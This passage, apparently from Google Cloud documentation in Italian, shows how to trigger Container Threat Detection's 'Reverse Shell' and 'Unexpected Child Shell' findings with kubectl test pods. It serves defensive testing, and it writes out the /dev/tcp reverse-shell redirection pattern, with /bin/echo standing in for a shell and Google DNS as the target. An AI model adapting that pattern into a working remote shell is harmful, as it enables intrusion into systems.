Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Avvia un binario con il reindirizzamento
/bin/echo
a Google Public DNS:Nodo x86:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
Nodo ARM:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
Questa procedura di test crea un risultato Reverse Shell che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.
Shell secondaria imprevista
Per testare il rilevatore Unexpected Child Shell
, puoi creare un albero dei processi che includa un processo shell secondario.
L'esempio seguente crea un albero dei processi consul->dash
, che può essere rilevato dal rilevatore Unexpected Child Shell
. Questo test è sicuro perché utilizza solo file binari integrati. Questo esempio esegue le seguenti operazioni:
- Crea una copia del processo
sh
e la denominaconsul
. - Copia il processo
echo
e lo denominadash
. - Richiama il processo
dash
copiato nel processoconsul
copiato.
Per attivare un risultato Unexpected Child Shell
:
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Utilizza la procedura
consul
di simulazione per richiamare una shell simulata:Nodo x86:
tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu "$tag" \ --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'
Nodo ARM:
tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'
Questa procedura di test crea un risultato Unexpected Child Shell
che puoi
visualizzare in Security Command Center. Se la registrazione è configurata per Container Threat Detection e hai attivato Security Command Center Premium o Enterprise a livello di organizzazione, puoi visualizzare il
risultato anche in Cloud Logging.
Passaggi successivi
- Scopri come utilizzare Container Threat Detection.